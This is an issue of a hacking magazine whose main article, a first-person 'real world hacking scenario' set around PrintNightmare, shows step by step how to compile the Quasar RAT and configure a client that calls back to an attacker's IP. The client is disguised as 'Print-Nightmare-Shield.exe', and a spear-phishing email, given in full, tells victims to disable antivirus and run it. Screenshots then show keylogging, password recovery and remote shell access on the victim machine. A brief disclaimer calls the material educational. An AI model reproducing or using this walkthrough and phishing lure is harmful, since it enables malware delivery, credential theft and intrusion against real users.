

Exploiting PrintNightmare in Real World Scenario 1:

Spyware : A Booming Industry and its Impact

Let's Get deep into Wi Fi hacking & Cracking WPA with Three Tools in WIRELESS SECURITY

> Another Tool For AV Bypass in Bypassing ANTIVIRUS



RUN YOUR CLOUD COMPUTER from your SMART DEVICE



STARTING AT \$4.95 /month

join us on shells.com

To Advertise with us Contact :

admin@hackercoolmagazine.com

Copyright © 2016 Hackercool CyberSecurity (OPC) Pvt Ltd

All rights reserved. No part of this publication may be reproduced, distributed, or transmitted in any form or by any means, including photocopying, recording, or other electronic or mechanical methods, without the prior written permission of the publishe -r, except in the case of brief quotations embodied in critical reviews and certain other noncommercial uses permitted by copyright law. For permission requests, write to the publisher, addressed "Attention: Permissions Coordinator," at the address below.

Any references to historical events, real people, or real places are used fictitiously. Na mes, characters, and places are products of the author's imagination.

Hackercool Cybersecurity (OPC) Pvt Ltd. Banjara Hills, Hyderabad 500034 Telangana, India.

Website : www.hackercoolmagazine.com

Email Address : admin@hackercoolmagazine.com



Information provided in this Magazine is strictly for educational purpose only.

Please don't misuse this knowledge to hack into devices or networks without taking permission. The Magazine will not take any responsibility for misuse of this information. Then you will know the truth and the truth will set you free. John 8:32

Editor's Note

Edition 4 Issue 8

Hello Hackercoolians. Hope you are all fine and healthy. Welcome to our Eighth Issue of this year. We have been hearing a lot about PrintNightmare since two months. So we at Hackercool Magazine thought it good to include a Real World Hacking Scena -rio about exploiting PrintNightmare in Real World. This sounds all too meaningful since the vulnerability that affects the print spooler service of Microsoft is still refusing to die.

Although Microsoft released a patch (KB5005652) to address this vulnerability, another vulnerability in the print spooler service, CVE-2021-36958 came to light. An attacker successfully exploiting this vulnerability could execute malicious code with SYSTEM privileges on the target system. This vulnerability is still unpatched and only protection is disabling of the print spooler service.

The earlier patch (KB5005652) has caused its own share of problems in Enterprise. This patch is causing some Enterprise users to reinstall print drivers or install new drive -rs which can be done only with admin privileges. So users needed to be given admin privileges to do that thus increasing further security risk.

Our RWHS in this Issue shows you one of the most common hacking scenario used in Real World. In our next Issue, readers will see another scenario of exploiting Print Nightmare. In the WiFi Security feature, we will go deep into Wireless Fidelity and see how to crack WPA / WPA2 using three tools.

Metasploit This Month Feature has another exploit relating to Exiftool and that's interesting. Apart from this, all our regular features are present.

c.k.chakravarthi

"THE PRINTNIGHTMARE VULNERABILITY IS FRESH, BUT ALREADY SENSATIONAL"

INSIDE See what our Hackercool Magazine August 2021 Issue has in store for you. 1. Real World Hacking Scenario : Exploiting PrintNightmare in Real World. 2. Wireless Security : Let's get deep into Wi - Fi and then crack WPA using three tools. 3. Bypassing Antivirus : 4. Hacking Q & A : Answers to some of the questions our redaers ask 5. Metasploit This Month : Windows TokenMagic PE & Exif Tool Perl ANT Injection Modules 6. Online Security : Spyware : Why the booming surveillance tech industry is vulnerable to corruption and abuse. 7. Our Story : The day I was most disappointed. Downloads Other Resources

Exploiting PrintNightmare in Real World Real World Hacking Scenario

Hi Hackercoolians. Print Nightmare is a vulnerability affecting the print spooler service in Windows systems which was discovered and exploited widely recently. Our readers have already learnt about it in our Previous Issue. This Real World Hacking Scenario tries to explain about one scenario as to how this vulnerability can be exploited in Real world.

Hi, I am Hackercool. People call me as Black hat but I consider myself as a script kiddie. As I returned to my hacking adventures, PrintNightmare has been reverberating in hacker circles. So I decided to try hacking a system exploiting this vulnerability.

After a bit of pondering, I decided to take the exploitation route which is almost very common in Real World Attacks. Get Initial access to a target system using a RAT (Remote Administration Tool) and then use PrintNightmare vulnerability to elevate privileges.

It's only 9 days since the PrintNightmare vulnerability became public. So normally all the Windows systems above Windows 7 are ripe targets. What more can a hacker ask for?

APT's, Ransomware gangs and hacking syndicates use many advanced RATs for their hacking operations which are paid products. Many hacking groups sell these RATs in underworld hacking forums. Although buying one is a good idea, many of these RATs allegedly have backdoors. It's like hacker getting hacked by the Black Hat hacker.

For this scenario, I will show you a RAT which is an open source one and free of any backdoors. Its name is Quasar RAT. The download information of this RAT is given in our Downloads section.

Quasar is a fast and light-weight Remote Administration Tool coded in C#. The features of this RAT include

- 1. TCP network stream (IPv4 & IPv6 support)
- 2. Fast network serialization (Protocol Buffers)
- 3. Compressed (QuickLZ) & Encrypted (TLS) communication
- 4. UPnP Support
- 5. Task Manager
- 6. File Manager
- 7. Startup Manager
- 8. Remote Desktop
- 9. Remote Shell
- 10. Remote Execution
- 11. System Information1
- 12. Registry Editor
- 13. System Power Commands (Restart, Shutdown, Standby)
- 14. Keylogger (Unicode Support)
- 15. Reverse Proxy (SOCK\$5)
- 16. Password Recovery (Common Browsers and FTP Clients) etc

The RAT is supported on Windows 10, Windows Server 2019, Windows Server 2016, Windows 8/8.1, Windows Server 2012, Windows 7, Windows Server 2008 and Windows Vista. If you need to run Quasar RAT version 1.3

I downloaded the latest version of RAT. It will be downloaded as a Zip archive. As this RAT is written in C# and needs to be compiled with visual Studio 2019 ++ with .NET Framework 4.5.2 or higher (if you don't have .NET Framework, don't worry, the system will prompt you to install it while compiling). The download information of Visual Studio too is given in our Downloads section.

Once Visual Studio is finished downloading, install it. Then, extract the contents of the zip archive (Quasar. You could do it before installing Visual Studio too. No probs). After the contents are extracted, you will see a .sln file.

Date modified	Туре
2/9/2021 12:43 AM	File folder
2/9/2021 12:43 AM	Microsoft Visua
	2/9/2021 12:43 AM 2/9/2021 12:43 AM

Open <u>r</u> ecent	Get started
As you use Visual Studio, any projects, folders, or files that you open will show up here for quick access. You can pin anything that you open frequently so that it's always at the top of the list.	Get code from an online repository like GitHub or Azure DevOps
	Open a project or solution Open a local Visual Studio project or .sln file
	Open a local folder Navigate and edit code within any folder
	Create a new project Choose a project template with code scaffolding to get started
	Continue <u>w</u> ithout code →





and then build it. To do this go to Build tab and select Build Quasar Server option as shown below.





Once the compilation of Quasar server is finished, it's time to compile the client. This can be done as follows.

"PrintNightmare is one of the most significant and potentially damaging vulnerabilities to have been identified for some time. It is vital that organisations act now in order to protect themselves. We are assessing the situation closely and will continue to provide updates as and when we can." - George Glass, Head Of Threat Intelligence





In the folder in which the zip archive is extracted, you should be seeing a new folder named "bin"

me	Date modified	Туре	Size
.github	2/9/2021 12:43 AM	File folder	
.VS	8/15/2021 6:19 AM	File folder	
bin	8/15/2021 6:19 AM	File folder	
Images	2/9/2021 12:43 AM	File folder	
Licenses	2/9/2021 12:43 AM	File folder	
Quasar.Client	8/15/2021 6:21 AM	File folder	
Quasar.Common	8/15/2021 6:19 AM	File folder	
Quasar.Common.Tests	8/15/2021 6:19 AM	File folder	
Quasar.Server	8/15/2021 6:19 AM	File folder	
gitattributes	2/9/2021 12:43 AM	GITATTRIBUTES File	1 KE
] .gitignore	2/9/2021 12:43 AM	GITIGNORE File	3 KE
] appveyor.yml	2/9/2021 12:43 AM	YML File	1 KE
CHANGELOG	2/9/2021 12:43 AM	MD File	5 KE
CONTRIBUTING	2/9/2021 12:43 AM	MD File	1 KE
LICENSE	2/9/2021 12:43 AM	File	2 KE
Quasar.sln	2/9/2021 12:43 AM	Visual Studio Solu	3 KE
README	2/9/2021 12:43 AM	MD File	4 KE
ROADMAP	2/9/2021 12:43 AM	MD File	2 KE

As you go to the dead end in this folder, you will find our compiled executables : Quasar (server) and Quasar Client (client).

Name	Date modified	Туре	Size
BouncyCastle.Crypto.dll	3/30/2020 4:38 AM	Application exten	2,811 KB
Client.bin	8/15/2021 6:38 AM	BIN File	2,844 KB
Client	8/15/2021 6:38 AM	Application	2,844 KB
Client.exe	8/15/2021 6:38 AM	XML Configuratio	1 KB
Gma.System.MouseKeyHook.dll	1/24/2018 12:11 PM	Application exten	56 KB
Microsoft.VisualStudio.CodeCoverage.Sh	4/23/2020 2:35 PM	Application exten	23 KB
Microsoft.VisualStudio.TestPlatform.MST	4/1/2020 12:22 PM	Application exten	140 KB
Microsoft.VisualStudio.TestPlatform.MST	4/1/2020 12:26 PM	Application exten	115 KB
Microsoft.VisualStudio.TestPlatform.MST	4/1/2020 12:19 PM	Application exten	25 KB
Microsoft.VisualStudio.TestPlatform.TestF	4/1/2020 12:17 PM	Application exten	74 KB
Microsoft.VisualStudio.TestPlatform.TestF	4/1/2020 12:25 PM	Application exten	41 KB
Mono.Cecil.dll	2/20/2020 3:10 AM	Application exten	337 KB
Mono.Cecil.Mdb.dll	2/20/2020 3:10 AM	Application exten	42 KB
Mono.Cecil.Pdb.dll	2/20/2020 3:10 AM	Application exten	87 KB
Mono.Cecil.Rocks.dll	2/20/2020 3:10 AM	Application exten	27 KB
Open.Nat.dll	7/30/2016 5:58 AM	Application exten	69 KB
protobuf-net.dll	1/28/2020 8:10 PM	Application exten	279 KB
Quasar.Common.dll	8/15/2021 6:23 AM	Application exten	63 KB
Quasar.Common.Tests.dll	8/15/2021 6:38 AM	Application exten	6 KB
Quasar	8/15/2021 6:23 AM	Application	1,221 KB
Quasar.exe	8/15/2021 6:21 AM	XML Configuratio	1 KB
Vestris.ResourceLib.dll	2/12/2019 10:41 PM	Application exten	76 KB

The compilation is finished. Now let's create the client for this RAT. The client of any RAT should run on the target system while the Server should run on the attacker system. To create the client to be run on the target system (don't confuse it with the earlier client we compiled) run the Quasar Server. When you execute it for the first time, it will prompt you to create a certificate.

Create	Browce & Import		
Create	browse & import	1	
this might tak	ce a while)		
			1

This certificate is needed to have information of all the clients connected and if it is deleted you will lose all the connected clients. So save it at a safe location.

Create	Browse & Import		
his might tak	e a while)		
Subject] CN=Quasar S	Server CA		1
ssuer] CN=Quasar S	erver CA		
Serial Numbe 00992E8C9B8	r] C4E13D2AD61731EDEDC	DF	
Not Before] 8/13/2021 6:3	I MA 80:9		
Not After] 12/31/9999 1	1:59:59 PM		
[humbprint]	E1E4E1DE754D61149C4	F8F5CD69A5	

Create	Browse & Import		
(this might tak	e a while)		
[Subject] CN=Quasar S	Server CA		^
[Issuer] CN=Quasar	Certificate backup		×
[Serial Numbe 00992E8C9B8 [Not Before] 8/13/2021 6:1	Please backup results in loo	p the certificate now. Loss of the certificate sing all clients!	
[Not After] 12/31/9999 1		ОК	
[Thumbprint] 626D5BF09F9	9F1E4F1DF75AD61149C4F	8F5CD69A5	

Name	Date modified	Туре	Size
BouncyCastle.Crypto.dll	3/30/2020 4:38 AM	Application exten	2,811 KB
📄 client.bin	8/15/2021 6:38 AM	BIN File	2,844 KB
Client	8/15/2021 6:38 AM	Application	2,844 KB
Client.exe	8/15/2021 6:38 AM	XML Configuratio	1 KB
Gma.System.MouseKeyHook.dll	1/24/2018 12:11 PM	Application exten	56 KB
Microsoft.VisualStudio.CodeCoverage.Sh	4/23/2020 2:35 PM	Application exten	23 KB
Microsoft.VisualStudio.TestPlatform.MST	4/1/2020 12:22 PM	Application exten	140 KB
Microsoft.VisualStudio.TestPlatform.MST	4/1/2020 12:26 PM	Application exten	115 KB
Microsoft.VisualStudio.TestPlatform.MST	4/1/2020 12:19 PM	Application exten	25 KB
Microsoft.VisualStudio.TestPlatform.TestF	4/1/2020 12:17 PM	Application exten	74 KB
Microsoft.VisualStudio.TestPlatform.TestF	4/1/2020 12:25 PM	Application exten	41 KB
Mono.Cecil.dll	2/20/2020 3:10 AM	Application exten	337 KB
Mono.Cecil.Mdb.dll	2/20/2020 3:10 AM	Application exten	42 KB
Mono.Cecil.Pdb.dll	2/20/2020 3:10 AM	Application exten	87 KB
Mono.Cecil.Rocks.dll	2/20/2020 3:10 AM	Application exten	27 KB
Open.Nat.dll	7/30/2016 5:58 AM	Application exten	69 KB
🗟 protobuf-net.dll	1/28/2020 8:10 PM	Application exten	279 KB
🗟 Quasar.Common.dll	8/15/2021 6:23 AM	Application exten	63 KB
Quasar.Common.Tests.dll	8/15/2021 6:38 AM	Application exten	6 KB
🕲 Quasar	8/15/2021 6:23 AM	Application	1,221 KB
Quasar.exe	8/15/2021 6:21 AM	XML Configuratio	1 KB
🦻 quasar	8/15/2021 6:39 AM	Personal Informati	5 KB
Vestris.ResourceLib.dll	2/12/2019 10:41 PM	Application exten	76 KB

After the certificate is successfully created, the Quasar server opens as shown below.

Quasar - Conn	ected: 0								- 🗆 ×
File Settings	Builder	About							
IP Address	Tag	User@PC	Version	Status	User Status	Country	Operating System	6	Account Type
Listening: False									

Click on the "Builder" option to open the Client builder as shown below. Let's start configuring the options. The client tag is used to identify the client and can be anything you want.

The vulnerability is dubbed PrintNightmare because the Spooler print service fails to restrict access to the functionality that allows users to add printers and related drivers.

Client T	
Connection Settings	ag: Office04
Installation Settings On the	lutex ue mutex ensures that only one instance of the client is running same system.
Assembly Settings Mutex:	ad6631ee-6bf7-4a13-832f-aa31ea3b57b6
	Random Mutex
Monitoring Settings Unattend Activati withou	led mode ng the unattended mode allows remote control of the client t user interaction.
Ena	ble unattended mode

Basic Settings	Client Identificatio	on
busic settings	You can choose	a tag to identify your client.
Connection Settings	Client Tag:	Special_RAT
	Process Mutex	
Installation Settings	A unique mutex on the same sys	ensures that only one instance of the client is runnin tem.
Assembly Settings	Mutex:	ad6631ee-6bf7-4a13-832f-aa31ea3b57b6
		Random Mutex
Monitoring Settings	I in attack deal aread	
	Activating the u without user int	e inattended mode allows remote control of the client teraction. Itended mode

Once you specify the tag, click to configure the "connection settings". Here, set the IP address of the Attacker Machine (the machine you have compiled this Quasar RAT and on which Quasar server is running). You can change the listening port if you like or you can keep the default one. Click on "Add host" after setting these.

Basic Settings	Connection Hosts		22	
	192.168.36.1:4782	IP/Hostname	21	
Connection Settings	<	Port:	4782	E
Installation Settings		_	Add	Host
Assembly Settings	Reconnect Delay	L	}	
Monitoring Settings	Time to wait between i	reconnect tries:	3000	🔹 ms

Keep the installation Settings, assembly settings and monitoring settings to default and build the client. To do this, click on "Build Client".

Basic Settings	Installation Location		
Connection Settings	Install Directory:	User Appli	cation Data
		O Program Fi	les 🤘
Installation Settings	<	🔘 System	(
	Install Subdirectory:	SubDir	
Assembly Settings	Install Name:	Client	.ex
Monitoring Settings	Set file attributes to h	idden 📃 Set subdir attributes	to hidden
Monitoring Settings	Set file attributes to h	idden 📃 Set subdir attributes iew:	to hidden
Monitoring Settings	Set file attributes to h Installation Location Previ C:\Users\nspadm\AppDat	idden Set subdir attributes iew: ta\Roaming\SubDir\Client.exe	to hidden
Monitoring Settings	Set file attributes to h Installation Location Previ C:\Users\nspadm\AppDat Autostart	idden Set subdir attributes iew: ta\Roaming\SubDir\Client.exe	to hidden
Monitoring Settings	Set file attributes to h Installation Location Previ C:\Users\nspadm\AppDat Autostart Run Client when the c	idden Set subdir attributes iew: ta\Roaming\SubDir\Client.exe	to hidden
Monitoring Settings	Set file attributes to h Installation Location Previ C:\Users\nspadm\AppDat Autostart Run Client when the o Startup Name:	idden Set subdir attributes iew: ta\Roaming\SubDir\Client.exe computer starts Quasar Client Startup	to hidden
Monitoring Settings	Set file attributes to h Installation Location Previ C:\Users\nspadm\AppDat Autostart Run Client when the o Startup Name:	idden Set subdir attributes iew: ta\Roaming\SubDir\Client.exe computer starts Quasar Client Startup	to hidden

Pasis Cattings	Assembly Information	
basic settings	Change Assembly Information	
Connection Settings	Product Name:	
	Description:	
Installation Settings	Company Name:	
	Copyright:	
Assembly Settings	Trademarks:	
Monitorina Settinas	Original Filename:	
	Product Version	
	File Version.	
	File version:	
N	Assembly Icon	
5		
	Drot	W/se
Client Builder		×
Client Builder	Monitoring	×
Client Builder Basic Settings	Monitoring	×
Client Builder Basic Settings Connection Settings	Monitoring Monitoring Enable keyboard logging Log Directory Name: Set directory attributes to hidden	Logs
Client Builder Basic Settings Connection Settings Installation Settings	Monitoring Enable keyboard logging Log Directory Name: Set directory attributes to hidden	Logs
Client Builder Basic Settings Connection Settings Installation Settings Assembly Settings	Monitoring Enable keyboard logging Log Directory Name: Set directory attributes to hidden	Logs
Client Builder Basic Settings Connection Settings Installation Settings Assembly Settings Monitoring Setting	Monitoring Enable keyboard logging Log Directory Name: Set directory attributes to hidden	Logs
Client Builder Basic Settings Connection Settings Installation Settings Assembly Settings Monitoring Setting	Monitoring Enable keyboard logging Log Directory Name: Set directory attributes to hidden	Logs
Client Builder Basic Settings Connection Settings Installation Settings Assembly Settings Monitoring Setting	Monitoring Enable keyboard logging Log Directory Name: Set directory attributes to hidden	Logs
Client Builder Basic Settings Connection Settings Installation Settings Assembly Settings	Monitoring Enable keyboard logging Log Directory Name: Set directory attributes to hidden	Logs
Client Builder Basic Settings Connection Settings Installation Settings Assembly Settings	Monitoring Enable keyboard logging Log Directory Name: Set directory attributes to hidden	Logs

By default, the client we create it will be named as "client-built". However, you can give any name you want as shown below.

Name		* 0	, Search net4	152
Name				: : : : : : : : : : : : : : : ·
Client	^	D	ate modified	Туре
		8/	/15/2021 6:38 AM	Applicat
🕲 Quasar	r	8/	/15/2021 6:23 AM	Applicat
	G			
<				
-built				
tables *.exe				
				C
			Save	Cancel
< 1		Port:	4782	
			Ac	dd Host
cess				×
				.
Successfull	lly built client! Sav	/ed		· ·
to:\C:\User:	rs\nspadm\Docun	nents\vulcan\Qu	asar-master\bin\f	R
Eleave netA	. ise tenent-sound			
elease\net4		N		
erease\net4		3	OK	
erease\net4				
cicase\net4				
cicase\net4				
cicase\net4				
Successfull to:\C:\User	lly built client! Sav rs\nspadm\Docun t452\Client-built.e	ved nents\vulcan\Qu exe &	asar-master\bin\l OK	R

	≪ bin >	Release → net452	~ [©]		52
Organize 🔹 Ne	ew folder				== - ?
 Quick access Desktop Downloads Documents Pictures 2021-08 	* * * *	Name Client Client-built Quasar		Date modified 8/15/2021 6:38 AM 8/15/2021 6:41 AM 8/15/2021 6:23 AM	Type Application Application Application
July_2021_RW	vHS VHS				
File name:	Print-Nig	htmare-Shield			· · · · · · · · · · · · · · · · · · ·
	1				

Basic Settings	Connection Hosts 192.168.36.1:4782	IP/Hostname:	
Connection Settings		Port:	4782
Installation Settings			Add Ho
Build Suc	cess		×
Monitoring	cess Successfully built client! Sa to:\C:\Users\nspadm\Docu elease\net452\Print-Nightn	ved ments\vulcan\Quasar-m nare-Shield.exe	naster\bin\R
Monitoring	successfully built client! Sa to:\C:\Users\nspadm\Docu elease\net452\Print-Nightr	ved ments\vulcan\Quasar-n nare-Shield.exe	naster\bin\R

Now, I need to send this file to the target machine. What better way to send this than Social Engin -eering. So I create a spear phishing email as shown below . Note that this scenario happened before the patches for Print Nightmare were released. Here is the content of my spear phishing email.

Subject:

One Click Solution to PrintNightmare

HTML

Text

Hi

We are Security Guardians, a community committed to overall cyber security of companies and people. Today, we bring you a once click solution to secure yourself from PrintNightmare vulnerability.

Download the Application attached to this mail and run it on your Windows system and that should do the job of hardening your system from PrintNightmare.

Please disable Antivirus while running it as it may pose problems in running the

Subject:

One Click Solution to PrintNightmare

Text HTML Download the Application attached to this mail and run it on your Windows system and that should do the job of hardening your system from PrintNightmare. Please disable Antivirus while running it as it may pose problems in running the script. Security Guardians Vancouver, USA www.seccurityguardians.com

I have attached the client I just created as an attachment.

+ Add I	Files							
Show 10		entries					Search:	
		Name						
		PrintNigh	tmare_	Shield.e	exe			Ē
The plan i them to do disable the	s simp ownloa eir Ant	le. I am suggestir d the attached cl iVirus before exe	ng a sir ient ex ecuting	nple sol cecutabl ; it. Now	ution to e and : 7, I go b	o PrintNigl run it. I an oack to my	ntmare vulnera n also trying to 7 Quasar Server	bility by asking lure them to r.
Quasar - Conn	ected: 0		0		<u> </u>		\sim	– 🗆 X
File Settings	Builder	About						
IP Address	Tag	User@PC	Version	Status	User Status	Country	Operating System	Account Type
Listening: False								
The Quasa "start lister Quasar - Conne File Settings	ar serv ning" c ected: 0 Builder	er is not listening option. About	by de	fault. To	o start l	istening, I	click on setting	s and then select $ \sim$ \times
IP Address	Tag	User@PC	Settin			×	Operating System	Account Type
			Port to lis Enabl Listen Show Try to Show Enabl Host: Maik	sten on: 4782 e IPv6 support for new conne popup notifica automatically fo tooltip on clier e No-Ip.com DN	ctions on start tion on new co orward the por at with system i IS Updater	itart listening up onnection t (UPnP) information Show Password Save	₽	

Quasar - Conn				, 					
- Standar - Could	ected: 0								- 🗆 ×
File Settings	Builder	About							
				Port to Port to Ena List Sho Try Sho Ho Ma	listen on: 4782 ble IPv6 support en for new conne w popup notifica to automatically f w tooltip on clien ble No-Ip.com Df st:	ections on star ation on new o orward the po nt with system NS Updater Pass:	Stop listening tup connection rt (UPnP) information Show Password Save	ß	
Listening on port 4	782.		11 C 41		1 1. 1		1	1· · T ·11 1	
As soon as as shown l	3 our v 5elow.	rictim fa	lls for the	trap	and click	ts on th	e malicious	s client, I will have	e a connection
Quasar - Conne	ected: 1								–
File Catting									
rile Settings	Builder	About							
IP Address 192.168.36.209	Tag Special	About User@PC user1@RECE	PTION	Version 1.4.0	Status Connected	User Status Active	Country United States [US]	Operating System Windows 10 Education 64 Bit	Account Type User
IP Address IP Address IP 2.168.36.209 Here, I hat I right clic.	Tag Special Ve a co k on th	About User@PC user1@RECE Onnection	ption on from W lector sess	Version 1.4.0 Vindo sion a	Status Connected ws 10 tan nd I get	User Status Active rget. No to see a	Country United States [US] Ow, let me s all the optic	Operating System Windows 10 Education 64 Bit show you what thi ons this RAT prov	Account Type User s RAT can de ides me.
IP Address IP Address IP 2.168.36.209 Here, I hat I right clic. Quasar - Conne	Tag Special Ve a co k on th ected: 1 [Sele	About User@PC user1@RECE Onnection 1e conn :cted: 1]	ption on from W lector sess	Version 1.4.0 Vindo sion a	Status Connected ws 10 tau nd I get	User Status Active rget. No to see a	Country United States [US] Ow, let me s all the optic	Operating System Windows 10 Education 64 Bit show you what thi ons this RAT prov	Account Type User s RAT can do ides me. – □ ×
IP Address IP Address IIP 2.168.36.209 Here, I hat I right clic.	Tag Special Ve a co k on th ected: 1 [Sele Builder	About User@PC user1@RECE Onnection ne conn ected: 1] About	ption on from W nector sess	Version 1.4.0 Vindo sion a	Status Connected ws 10 tau nd I get	User Status Active rget. No to see a	Country United States [US] Ow, let me s all the optic	Operating System Windows 10 Education 64 Bit show you what thi ons this RAT prov	Account Type User s RAT can do ides me.
IP Address IP Address IP 2.168.36.209 Here, I hat I right clic. Quasar - Conne File Settings IP Address IP Address IP 2.168.36.209	Tag Special Ve a co k on th ected: 1 [Sele Builder Tag Special	About User@PC user1@RECE Onnectione connectione cted: 1] About User@PC user1@F	PTION On from W nector sess	Version 1.4.0 Vindo sion a Version	Status Connected ws 10 tau nd I get	User Status Active rget. No to see a	Country United States [US] Ow, let me s all the optic	Operating System Windows 10 Education 64 Bit show you what thi ons this RAT prov	Account Type User s RAT can do rides me. — — × Account Type User
IP Address IP Address IP 2.168.36.209 Here, I hat I right clic.	Tag Special Ve a co k on th ected: 1 [Sele Builder Tag Special	About User@PC user1@RECE Onnectione cone coni ected: 1] About User@PC user1@F	PTION On from W nector sess Monitoring User Support Client Managem Select All	Version 1.4.0 Vindo sion a Version	Status Connected ws 10 tau nd I get Status Status Status System In File Mana Startup M Startup M Startup M Startup M Remote Si Remote Si Reverse Pi Registry E Registry E Actions	User Status Active	Country United States [US]	Operating System Windows 10 Education 64 Bit Show you what this ons this RAT prov Operating System Windows 10 Education 64 Bit	Account Type User is RAT can derides me. Account Type User
IP Address IP Address IP 2.168.36.209 Here, I hat I right clic.	Tag Special Ve a co k on th ected: 1 [Sele Builder Tag Special	About User@PC user1@RECE Onnectione connec	PTION On from W nector sess Monitoring User Support Client Managem Select All	Version 1.4.0 Vindo sion a Version	Status Connected ws 10 tau nd I get Status Status System In File Mana Startup M Startup M Startup M Startup M Remote S Remote S Registry E Registry E Registry E Actions	User Status Active rget. No to see a User Status formation ger lanager ager hell sections roxy ditor xecute	Country United States [US]	Operating System Windows 10 Education 64 Bit Show you what this ons this RAT prov Operating System Windows 10 Education 64 Bit	Account Type User

	Special	user1@R		tion 64 Bi	t User
	Sheeray	user rent	Component Operating System	Value Windows 10 Education 64 Bit	USCI
			Architecture	x64 (64 Bit)	
			Processor (CPU)	Intel(R) Core(TM) i3-4030U CPU @ 1.90GHz	
			Memory (RAM)	2046 MB	
			Video Card (GPU)	VMware SVGA 3D	
			PC Name	RECEPTION	
			Domain Name	smallbusiness.internal	
			ast Name	Reception	
			System Drive	C:\	
			Untime	C:\vvindows\system52 Dd:-14h:-29m:-38s	
			MAC Address	00:0C:29:34:DD:A9	
			LAN IP Address	192.168.36.209	
			WAN IP Address	Unknown	
			ASN	Unknown	
			ISP	Inknown	
	22				
ning on port 4/0	52.				
Quasar - Conne	cted: 1 [Sele	cted: 1]			- 0
e Settings	Builder /	About			
Address	Tag	User@Pd	A C L L C		Account Typ
192 168 36 209	Special	user1@R	System Informat	on - user1@RECEPTION [192.168.36.209:49726] LI X	it User
192.100.30.209	special	userien			it Usei
			Component	Value	
			Username	user1	
			PC Name	RECEPTION	
			Domain Name	smallbusiness.internal	
			Host Name	Reception	
			System Drive	CiWindows)ovstem22	
			Untime	0d : _14b : _29m : _38s	
			MAC Address	00:00:29:34:DD:49	
			LAN IP Address	192.168.36.209	
			WAN IP Address	Unknown	
			ASN	Unknown	
			ISP	Unknown	
			Antivirus	Windows Defender	
			Firewall	N/A	
			Time Zone	India Standard Time (UTC +5:30)	
			Country	United States	
		-			
ening on port 47	82.				
ur target	PC's	name	is "Recept	on" and the username who fell for me is user1.	Let's see othe
atures of	this R	ΔΤ	is recept		
		111 .			
Quasar - Conne	cted: 1 [Sele	cted: 1]			- 0
ile Settings	Builder /	About			
Address	Tag	User@PC		Version Status User Status Country Operating System	Account Typ
192.168.36.209	Spec an	Administr	ation b	1.4.0 Connected Active United States [US] Windows 10 Education 64 B	it User
	100	Administr	ation		
		Monitorin	ig 🕨 🎉	Password Recovery	
	5	User Supp	ort 🕨 📻	Keylogger	
		Client Ma	nagement 🕨 🔳	Remote Desktop	
			-		
		C. L	-		
		Select All			

There is a option for a keylogger and remote desktop which can be very handy. I can also send the victims to a specific website I like. You remember the scenario where I hacked a website, hosted my malware on that website and lured the victims to the website? Here, I can think about a similar scenario.

Quasar - Conne	cted: 1	[Sele	cted: 1]							– 🗆 ×
File Settings	Builde	r A	bout							
IP Address	Tag		User@PC		Versio	n Status	User Status	Country	Operating System	Account Type
192.168.36.209	Spec	-	Administration	•	1.4.0	Connected	Active	United States [US]	Windows 10 Education 64 Bit	User
		-	Monitoring	•						
		8	User Support	•	Show	Messagebox				
			ClieneManagement	•	Rem	ote Desktop				
	3		Select All		Send	to Website				
Listening on port 478 These are t Quasar - Conne	2. he	clie	ent managen cted: 1]	ner	nt opti	ons I hav	e.		Image: State of the state o	Interested i de i fonde i antificia de la composicia de l
File Settings	Builde	er /	About							. 1611.1
IP Address	Tag		User@PC		Versio	n Status	User Status	Country	Operating System	Account Type
192.168.36.209	Spec	463	Administration	•	1.4.0	Connected	Active	United States [US]	Windows 10 Education 64 Bit	User
			Monitoring							
		8	User Support	•						
			Client Management	•	😗 Eleva	te Client Permissio	ins			
			Select All		Upd	ite				
		_			Reco	nnect				
					Disci	rtall				
				L	in Onin	stan				
									The second secon	- Case mater - Mr Maser - and C
									andra je jen neko regenta regenta Panten ber	becker (Mad Berlift) Hear bec tor be lawry
									Billion Aplia Aplia	Showhallow + Hormond Advancement Hormond + Description
Listening on port 47	B2.								Contra Contra Sources	International Contraction
Let's get to	adı	miı	nistration op	tior	ns aga	in. The S	tartup r	nanager sh	ows all the processe	s that started
running on	SVS	ster	n startup.		Ŭ		L	U	L	
			Joolon		10.10	mod V	00 80	oioty bos	hoon lover in	ar and a second s
D			htmasses		Рпа		ff 1-4-	Via S	been leveragin	S
	IUI	NI E	the	uI		Difficy O	n late	· vice So	ciety is a new n	
g	ΓΟ	up	that eme	rg				mis grou	ip also has nota	DIY

educational institutions.

Startup Manager - user1@RECEPTION [192.168.36.209:49726]

Name	Path
HKEY_LOCAL_MACHINE\SOFT	WARE\Microsoft\Windows\CurrentVersion\Run
SecurityHealth	C:\Windows\system32\SecurityHealthSystray.exe
VMware VM3DService Process	*C:\Windows\system32\vm3dservice.exe* -u
VMware User Process	"C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr
HKEY_CURRENT_USER\SOFTW	ARE\Microsoft\Windows\CurrentVersion\Run
OneDriveSetup	C:\Windows\SysWOW64\OneDriveSetup.exe /thfirstsetup
OneDrive	*C:\Users\user1\AppData\Local\Microsoft\OneDrive\OneDrive.exe* /background
	\square

Similarly the task manager shows all the running tasks on the target system.

Name	Task Manager - user1@RECEPTIO	N [192.16	8.36.209:497261 — —	×		
🚱 Quasar - Con						×
	Processname	PID	Title	^		
File Settings	RuntimeBroker.exe	984				
IP Address	MicrosoftEdgeSH.exe	7088			ccount Ty	pe
102 160 26 20	browser_broker.exe	6832				-
192.108.30.20	NisSrv.exe	3540			ser	
	fontdrvhost.exe	776				
	csrss.exe	968				
	MicrosoftEdgeCP.exe	5104				
	fontdrvhost.exe	768				
	smartscreen.exe	7268	Ν			
	SystemSettings.exe	5888	63			
	svchost.exe	1552				
	dllhost.exe	2536				
	svchost.exe	1740				
	svchost.exe	360				
	taskhostw.exe	556				
	audiodg.exe	4100				
	winlogon.exe	5280				
	Registry.exe	88				
	WindowsInternal.ComposableShell	1928				
	dwm.exe	940				
	svchost.exe	740				
	RuntimeBroker.exe	6464				
	SecurityHealthService.exe	2708				
	vmtoolsd.exe	2116				
	OneDrive.exe	5464			_	
Listening on port	vm3dservice.exe	8024		Y		14

The "connections" option in the administration menu shows all the connections on the target system. What I want you to see is the established connection of the PrintNightmare shield executable which has connected to our attacker system.

"Like any major subcomponenet of Windows, it's large and it's complicated."

 \times

and the second se	Builder	Connections aserright	CECEP IION [192.106.50	6.209:49726]					
IP Address	Tag	Process	Local Address	Local Port	Remote Address	Remote Port	State		Account Type
192.168.36.209	Specia	Listening		1022/0131		1980	14.05.579.584.9570		User
		svchost	0.0.0.0	135	0.0.0.0	0	Listening		
